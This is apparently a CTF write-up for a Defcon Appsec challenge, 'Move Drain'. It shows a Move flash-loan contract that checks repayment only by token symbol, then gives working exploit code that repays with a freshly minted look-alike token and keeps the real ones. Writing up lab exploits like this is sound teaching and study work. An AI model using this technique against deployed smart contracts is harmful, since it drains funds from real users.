September 25, 2025•CTF - Smart Contracts
Defcon - Appsec CTF - Move Drain
challenge
struct FlashLoan has drop {
amount: u64,
asset: String
}
public fun flash_loan(_user: &signer, amount: u64): (FungibleAsset, FlashLoan) acquires Env {
let env = borrow_global<Env>(@challenger);
let fa = primary_fungible_store::withdraw_with_ref(&env.transfer_ref, @challenger, amount);
(fa, FlashLoan { amount, asset: fungible_asset::symbol(env.metadata) })
}
public fun repay_flash_loan(_user: &signer, flash_loan: FlashLoan, asset: FungibleAsset) {
let metadata = fungible_asset::metadata_from_asset(&asset);
assert!(fungible_asset::symbol(metadata) == flash_loan.asset);
assert!(fungible_asset::amount(&asset) >= flash_loan.amount);
primary_fungible_store::deposit(@challenger, asset);
}
- The loan “receipt” stores only a symbol string (
asset: String
), not theObject<Metadata>
repay_flash_loan
checkssymbol(metadata) == flash_loan.asset
, allowing repayment with any fungible asset that shares the same symbol, even if it’s a different metadata/object (i.e., a different token class).- As a result, an attacker can mint a fake asset with symbol
"CHALLENGE"
and repay with it.
tldr :
- Call
flash_loan
to borrow realCHALLENGE
from@challenger
. - Create our own FA class with the same symbol
"CHALLENGE"
and mint enough units. - Call
repay_flash_loan
using our fake CHALLENGE - Deposit the real borrowed CHALLENGE into our account; the protocol now holds worthless look-alikes.
- Run
check_solution
: it assertsbalance(@challenger, env.metadata) == 0
, which is true since we withdrew the real asset tied toenv.metadata
.
let (real, rec) = challenge::flash_loan(me, TOTAL);
// mint fake asset with same symbol "CHALLENGE"
let ctor = &object::create_named_object(me, b"CHALLENGE");
primary_fungible_store::create_primary_store_enabled_fungible_asset(
ctor, option::none(), utf8(b"Fake"), utf8(b"CHALLENGE"), 8, utf8(b"x"), utf8(b"x")
);
let mint_ref = fungible_asset::generate_mint_ref(ctor);
let fake = fungible_asset::mint(&mint_ref, TOTAL);
// repay with fake
challenge::repay_flash_loan(me, rec, fake);
// keep the real
primary_fungible_store::deposit(signer::address_of(me), real);